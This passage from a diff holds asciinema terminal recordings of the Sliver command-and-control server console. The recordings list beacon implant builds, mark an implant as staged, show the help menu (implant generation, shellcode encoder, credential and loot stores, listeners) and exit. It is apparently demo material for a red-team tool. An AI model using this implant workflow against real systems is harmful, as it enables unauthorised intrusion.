[70.68846, "o", "\u001b[214D\u001b[1A\u001b[18D\u001b[9C\u001b[214D\u001b[18C\u001b[?25h"]
|
||||
[71.181819, "o", "\u001b[18D\u001b[9C\u001b[6n"]
|
||||
[71.187391, "o", "\u001b[214D\u001b[18C\u001b[0J\u001b[214D\r\r\n"]
|
||||
[71.189909, "o", "\u001b[0 q\r\n"]
|
||||
[71.233957, "o", " Name Implant Type Template OS/Arch Format Command & Control Debug C2 Config ID Stage \r\n================== ===================== ========== ============= ============ ======================= ======= =========== ======= =======\r\n POWERFUL_DEBT gzip - RC4 - beacon sliver linux/amd64 EXECUTABLE [1] https://localhost true ruby 54907 true \r\n SOFT_OWNER beacon sliver linux/amd64 EXECUTABLE [1] https://localhost true ruby 42203 false \r\n VISITING_PERFUME zlib - beacon sliver linux/amd64 EXECUTABLE [1] https://localhost true ruby 3383 false \r\n WHOLE_BASE RC4 - beacon sliver linux/amd64 EXECUTABLE [1] https://localhost true ruby 20201 true \r\n"]
|
||||
[71.234688, "o", "\r\n\r\n\r\n"]
|
||||
[71.243691, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[71.243812, "o", "\u001b[1 q\u001b[?25l\u001b[214D"]
|
||||
[71.243867, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[71.245282, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D"]
|
||||
[71.245753, "o", "\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
|
||||
[73.381589, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[73.38348, "o", "\u001b[6n"]
|
||||
[73.386558, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
|
||||
[73.551089, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[73.557629, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[73.560272, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
|
||||
[73.667488, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[73.674901, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[73.676022, "o", "\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
|
||||
[73.823702, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[73.830817, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[73.833105, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
|
||||
[74.083867, "o", "\u001b[13D\u001b[9C\u001b[6n"]
|
||||
[74.093618, "o", "\u001b[214D"]
|
||||
[74.09526, "o", "\u001b[13C\u001b[0J\u001b[214D\r\r\n"]
|
||||
[74.098608, "o", "\u001b[0 q\r\n"]
|
||||
[74.116094, "o", "Exiting...\r\n"]
|
||||
[74.161362, "o", "\u001b[?2004h"]
|
||||
[74.161518, "o", "root@98df0494f659:~# "]
|
||||
[74.93344, "o", "\u001b[?2004l\r\r\n"]
|
||||
[74.938604, "o", "exit\r\n"]
|
||||
@@ -0,0 +1,163 @@
|
||||
{"version": 2, "width": 214, "height": 53, "timestamp": 1714671619, "env": {"SHELL": null, "TERM": "xterm"}}
|
||||
[0.035197, "o", "# "]
|
||||
[1.42873, "o", "."]
|
||||
[1.48696, "o", "/"]
|
||||
[1.606489, "o", "s"]
|
||||
[1.767933, "o", "l"]
|
||||
[1.846352, "o", "i"]
|
||||
[2.427611, "o", "v"]
|
||||
[2.56474, "o", "e"]
|
||||
[2.650025, "o", "r"]
|
||||
[2.744926, "o", "-"]
|
||||
[2.861713, "o", "s"]
|
||||
[2.937286, "o", "e"]
|
||||
[2.972338, "o", "r"]
|
||||
[3.153342, "o", "v"]
|
||||
[3.275743, "o", "e"]
|
||||
[3.343844, "o", "r"]
|
||||
[3.458348, "o", "\r\n"]
|
||||
[4.72134, "o", "\u001b[1m\u001b[37m\r\r\n.------..------..------..------..------..------.\r\r\n|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |\r\r\n| :/\\: || :/\\: || (\\/) || :(): || (\\/) || :(): |\r\r\n| :\\/: || (__) || :\\/: || ()() || :\\/: || ()() |\r\r\n| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|\r\r\n`------'`------'`------'`------'`------'`------'\r\r\n\u001b[0m\r\nAll hackers gain cipher\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - ba3893980d1ca5e4ae4089eb4c87e9f5ba389119 - \u001b[1mDirty\u001b[0m\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n\r\n"]
|
||||
[4.749277, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[4.751226, "o", "\u001b[1 q"]
|
||||
[4.753544, "o", "\u001b[?25l"]
|
||||
[4.753975, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.760322, "o", "\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[4.760971, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C"]
|
||||
[4.761776, "o", "\u001b[214D\u001b[9C\u001b[?25h"]
|
||||
[5.79902, "o", "\u001b[?25l"]
|
||||
[5.803843, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.83293, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[5.833324, "o", "\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
|
||||
[5.88572, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[5.88631, "o", "\u001b[6n"]
|
||||
[5.897688, "o", "im\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[5.898349, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
|
||||
[6.03, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.043073, "o", "imp\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[6.046111, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
|
||||
[6.091735, "o", "\u001b[?25l"]
|
||||
[6.093705, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.105412, "o", "impl\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[6.105982, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
|
||||
[6.186028, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[6.186264, "o", "\u001b[6n"]
|
||||
[6.190996, "o", "impla\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[14D\u001b[9C\u001b[214D\u001b[14C\u001b[?25h"]
|
||||
[6.343665, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.358766, "o", "implan\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[6.359008, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[15D\u001b[9C\u001b[214D\u001b[15C\u001b[?25h"]
|
||||
[6.448257, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[6.458297, "o", "\u001b[6n"]
|
||||
[6.476822, "o", "implant\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[6.477123, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[16D\u001b[9C\u001b[214D\u001b[16C\u001b[?25h"]
|
||||
[6.503454, "o", "\u001b[?25l"]
|
||||
[6.504386, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.508097, "o", "\u001b[1m\u001b[32mimplants\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[17D\u001b[9C\u001b[214D\u001b[17C\u001b[?25h"]
|
||||
[6.690314, "o", "\u001b[17D\u001b[9C"]
|
||||
[6.694088, "o", "\u001b[6n"]
|
||||
[6.703296, "o", "\u001b[214D\u001b[17C"]
|
||||
[6.704242, "o", "\u001b[0J\u001b[214D\r\r\n"]
|
||||
[6.710002, "o", "\u001b[0 q\r\n"]
|
||||
[6.757913, "o", " Name Implant Type Template OS/Arch Format Command & Control Debug C2 Config ID Stage \r\n================= ============== ========== ============= ============ ======================= ======= =========== ======= =======\r\n ASHAMED_WHISKEY beacon sliver linux/amd64 EXECUTABLE [1] https://localhost true ruby 19778 false \r\n"]
|
||||
[6.758229, "o", "\r\n\r\n\r\n"]
|
||||
[6.780643, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[6.781765, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.790649, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[6.791286, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
|
||||
[7.761701, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.779716, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D"]
|
||||
[7.779944, "o", "\u001b[10C\u001b[?25h"]
|
||||
[7.877287, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.885785, "o", "im\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C"]
|
||||
[7.887998, "o", "\u001b[214D\u001b[11C\u001b[?25h"]
|
||||
[7.993993, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.001938, "o", "imp\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[8.003372, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
|
||||
[8.071363, "o", "\u001b[?25l"]
|
||||
[8.073826, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.092704, "o", "impl\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[8.093891, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
|
||||
[8.181791, "o", "\u001b[1 q"]
|
||||
[8.226101, "o", "\u001b[1 q"]
|
||||
[8.226406, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.231665, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[8.233017, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[18D\u001b[9C\u001b[214D\u001b[18C\u001b[?25h"]
|
||||
[8.77321, "o", "\u001b[?25l\u001b[214D"]
|
||||
[8.775494, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.80576, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22ms\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[19D\u001b[9C\u001b[214D\u001b[19C\u001b[?25h"]
|
||||
[8.908774, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.923291, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22mst\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[20D\u001b[9C"]
|
||||
[8.923497, "o", "\u001b[214D\u001b[20C\u001b[?25h"]
|
||||
[9.051215, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[9.064616, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22msta\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[21D\u001b[9C\u001b[214D\u001b[21C\u001b[?25h"]
|
||||
[9.258989, "o", "\u001b[?25l\u001b[214D"]
|
||||
[9.259378, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[9.266662, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22mstag\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[9.267002, "o", "\u001b[214D\u001b[1A\u001b[22D\u001b[9C\u001b[214D\u001b[22C\u001b[?25h"]
|
||||
[9.312721, "o", "\u001b[?25l\u001b[214D"]
|
||||
[9.313243, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[9.317735, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22mstage\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[23D\u001b[9C"]
|
||||
[9.31828, "o", "\u001b[214D\u001b[23C\u001b[?25h"]
|
||||
[9.874144, "o", "\u001b[23D\u001b[9C"]
|
||||
[9.875107, "o", "\u001b[6n"]
|
||||
[9.910314, "o", "\u001b[214D\u001b[23C\u001b[0J"]
|
||||
[9.91059, "o", "\u001b[214D\r\r\n"]
|
||||
[9.911676, "o", "\u001b[0 q\r\n"]
|
||||
[9.940145, "o", "\u001b7"]
|
||||
[9.940361, "o", "\u001b[?25l\u001b8"]
|
||||
[9.942012, "o", "\u001b[0G\u001b[2K"]
|
||||
[9.958944, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect sessions and beacons to expose:\u001b[0m \u001b[0;36m[Use arrows to move, space to select, <right> to all, <left> to none, type to filter]\u001b[0m\r\n\u001b[0;1;36m>\u001b[0m\u001b[0;1;99m [ ] \u001b[0m ASHAMED_WHISKEY\r\n\u001b7"]
|
||||
[9.960283, "o", "\u001b[1A\u001b[0G"]
|
||||
[10.704432, "o", "\u001b8\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
|
||||
[10.706793, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect sessions and beacons to expose:\u001b[0m \u001b[0;36m[Use arrows to move, space to select, <right> to all, <left> to none, type to filter]\u001b[0m\r\n\u001b[0;1;36m>\u001b[0m\u001b[0;32m [x] \u001b[0m ASHAMED_WHISKEY\r\n\u001b7"]
|
||||
[10.708367, "o", "\u001b[1A\u001b[0G"]
|
||||
[11.504772, "o", "\u001b8\u001b[?25h\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
|
||||
[11.511953, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect sessions and beacons to expose:\u001b[0m\u001b[0;36m ASHAMED_WHISKEY\u001b[0m\r\n"]
|
||||
[11.535808, "o", "\r\n"]
|
||||
[11.551312, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[11.551645, "o", "\u001b[1 q"]
|
||||
[11.553114, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[11.553423, "o", "\u001b[6n"]
|
||||
[11.56914, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[11.570881, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
|
||||
[13.532974, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[13.55087, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[13.552653, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
|
||||
[13.63132, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[13.631999, "o", "\u001b[6n"]
|
||||
[13.637145, "o", "im\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
|
||||
[13.721062, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[13.731059, "o", "imp\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C"]
|
||||
[13.731364, "o", "\u001b[214D\u001b[12C\u001b[?25h"]
|
||||
[13.806009, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[13.817336, "o", "impl\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[13.818071, "o", "\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
|
||||
[13.899054, "o", "\u001b[1 q"]
|
||||
[13.925017, "o", "\u001b[1 q\u001b[?25l"]
|
||||
[13.927048, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[13.940489, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[13.941474, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[18D\u001b[9C\u001b[214D\u001b[18C\u001b[?25h"]
|
||||
[14.332764, "o", "\u001b[18D"]
|
||||
[14.333879, "o", "\u001b[9C\u001b[6n"]
|
||||
[14.361829, "o", "\u001b[214D\u001b[18C\u001b[0J\u001b[214D\r\r\n"]
|
||||
[14.363299, "o", "\u001b[0 q\r\n"]
|
||||
[14.387987, "o", " Name Implant Type Template OS/Arch Format Command & Control Debug C2 Config ID Stage \r\n================= ============== ========== ============= ============ ======================= ======= =========== ======= =======\r\n ASHAMED_WHISKEY beacon sliver linux/amd64 EXECUTABLE [1] https://localhost true ruby 19778 true \r\n\r\n\r\n\r\n"]
|
||||
[14.397688, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[14.397879, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[14.400466, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D"]
|
||||
[14.40078, "o", "\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
|
||||
[16.557278, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[16.580738, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
|
||||
[16.807797, "o", "\u001b[?25l"]
|
||||
[16.809001, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[16.820135, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[16.821114, "o", "\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
|
||||
[16.933404, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[16.945131, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
|
||||
[17.091966, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[17.103693, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
|
||||
[17.545196, "o", "\u001b[13D\u001b[9C\u001b[6n"]
|
||||
[17.563002, "o", "\u001b[214D\u001b[13C\u001b[0J\u001b[214D\r\r\n"]
|
||||
[17.567814, "o", "\u001b[0 q\r\n"]
|
||||
[17.579386, "o", "Exiting...\r\n"]
|
||||
[17.597406, "o", "# "]
|
||||
[18.913792, "o", "\r\n"]
|
||||
@@ -0,0 +1,79 @@
|
||||
{"version": 2, "width": 266, "height": 92, "timestamp": 1714563838, "env": {"SHELL": null, "TERM": "xterm"}}
|
||||
[0.0335, "o", "# "]
|
||||
[1.026138, "o", "."]
|
||||
[1.27035, "o", "/"]
|
||||
[1.990462, "o", "s"]
|
||||
[2.104733, "o", "l"]
|
||||
[2.18274, "o", "i"]
|
||||
[2.324536, "o", "v"]
|
||||
[2.459428, "o", "e"]
|
||||
[2.563262, "o", "r"]
|
||||
[2.917731, "o", "-"]
|
||||
[3.197754, "o", "s"]
|
||||
[3.236411, "o", "e"]
|
||||
[3.28984, "o", "r"]
|
||||
[3.512507, "o", "v"]
|
||||
[3.731953, "o", "e"]
|
||||
[3.855727, "o", "r"]
|
||||
[4.224416, "o", "\r\n"]
|
||||
[4.924834, "o", "\r\nSliver Copyright (C) 2022 Bishop Fox\r\nThis program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.\r\nThis is free software, and you are welcome to redistribute it\r\nunder certain conditions; type 'licenses' for details.\r\n\r\nUnpacking assets ...\r\n"]
|
||||
[15.06029, "o", "\u001b[32m\r\r\n ███████╗██╗ ██╗██╗ ██╗███████╗██████╗\r\r\n ██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗\r\r\n ███████╗██║ ██║██║ ██║█████╗ ██████╔╝\r\r\n ╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗\r\r\n ███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║\r\r\n ╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝\r\r\n\u001b[0m\r\nAll hackers gain first strike\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - 0b235b4d42d4eb75684825f5d5b30da71ec57d26 - \u001b[1mDirty\u001b[0m\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n"]
|
||||
[15.063896, "o", "\r\n"]
|
||||
[15.088787, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[15.090324, "o", "\u001b[1 q"]
|
||||
[15.092416, "o", "\u001b[?25l"]
|
||||
[15.092815, "o", "\u001b[266D"]
|
||||
[15.093453, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[15.094487, "o", "\u001b[6n"]
|
||||
[15.097509, "o", "\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[15.098359, "o", "\r\r\n\u001b[0K\u001b[0J"]
|
||||
[15.099345, "o", "\u001b[266D\u001b[1A\u001b[9D\u001b[9C\u001b[266D\u001b[9C\u001b[?25h"]
|
||||
[16.450333, "o", "\u001b[?25l"]
|
||||
[16.452271, "o", "\u001b[266D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[16.456684, "o", "\u001b[6n"]
|
||||
[16.472371, "o", "h\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[16.473216, "o", "\u001b[0K\u001b[0J\u001b[266D\u001b[1A\u001b[10D\u001b[9C\u001b[266D\u001b[10C\u001b[?25h"]
|
||||
[16.853991, "o", "\u001b[?25l"]
|
||||
[16.856214, "o", "\u001b[266D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[16.864284, "o", "he\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[16.86466, "o", "\u001b[0K\u001b[0J\u001b[266D\u001b[1A\u001b[11D\u001b[9C\u001b[266D\u001b[11C\u001b[?25h"]
|
||||
[16.947679, "o", "\u001b[?25l\u001b[266D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[16.955882, "o", "hel\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[16.957194, "o", "\u001b[0K\u001b[0J\u001b[266D\u001b[1A\u001b[12D\u001b[9C\u001b[266D\u001b[12C\u001b[?25h"]
|
||||
[17.013552, "o", "\u001b[?25l\u001b[266D"]
|
||||
[17.015213, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[17.02521, "o", "\u001b[1m\u001b[32mhelp\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[266D"]
|
||||
[17.025821, "o", "\u001b[1A\u001b[13D\u001b[9C\u001b[266D\u001b[13C\u001b[?25h"]
|
||||
[17.502966, "o", "\u001b[13D\u001b[9C\u001b[6n"]
|
||||
[17.513675, "o", "\u001b[266D\u001b[13C\u001b[0J\u001b[266D\r\r\n"]
|
||||
[17.519913, "o", "\u001b[0 q\r\n"]
|
||||
[17.54967, "o", "Server commands\r\n\r\n"]
|
||||
[17.564302, "o", "Usage:\r\n [command]\r\n\r\nMultiplayer\r\n kick-operator Kick an operator from the server\r\n multiplayer Enable multiplayer mode\r\n new-operator Create a new operator config file\r\n\r\nGeneric\r\n aliases List current aliases\r\n armory Automatically download and install extensions/aliases\r\n crack Crack: GPU password cracking\r\n creds Manage the database of credentials\r\n exit Exit the program\r\n help Help about any command\r\n licenses Open source licenses\r\n operators Manage operators\r\n settings Manage client settings\r\n update Check for updates\r\n version Display version information\r\n\r\nNetwork\r\n c2profiles Display C2 profile details\r\n http Start an HTTP listener\r\n https Start an HTTPS listener\r\n jobs Job control\r\n mtls Start an mTLS listener\r\n stage-listener Start a stager listener\r\n websites Host static content (used with HTTP C2)\r\n wg Start a WireGuard li"]
|
||||
[17.564452, "o", "stener\r\n wg-config Generate a new WireGuard client config\r\n\r\nPayload\r\n builders List external builders\r\n generate Generate an implant binary\r\n implants List implant builds\r\n profiles List existing profiles\r\n regenerate Regenerate an implant\r\n shikata-ga-nai Polymorphic binary shellcode encoder (ノ ゜Д゜)ノ ︵ 仕方がない\r\n\r\nSliver\r\n beacons Manage beacons\r\n hosts Manage the database of hosts\r\n info Get info about session\r\n loot Manage the server's loot store\r\n monitor Monitor threat intel platforms for Sliver implants\r\n reaction Manage automatic reactions to events\r\n sessions Session management\r\n taskmany Task many beacons or sessions\r\n use Switch the active session or beacon\r\n\r\nFlags:\r\n -h, --help help for this command\r\n\r\nUse \" [command] --help\" for more information about a command.\r\n"]
|
||||
[17.565542, "o", "\r\n"]
|
||||
[17.574109, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[17.574849, "o", "\u001b[1 q\u001b[?25l\u001b[266D"]
|
||||
[17.575311, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[17.578397, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[266D\u001b[1A\u001b[9D\u001b[9C\u001b[266D\u001b[9C\u001b[?25h"]
|
||||
[18.828372, "o", "\u001b[?25l\u001b[266D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[18.831242, "o", "\u001b[6n"]
|
||||
[18.851771, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[18.853215, "o", "\u001b[0K\u001b[0J\u001b[266D\u001b[1A\u001b[10D\u001b[9C\u001b[266D\u001b[10C\u001b[?25h"]
|
||||
[18.997027, "o", "\u001b[?25l"]
|
||||
[19.002369, "o", "\u001b[266D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[19.014846, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
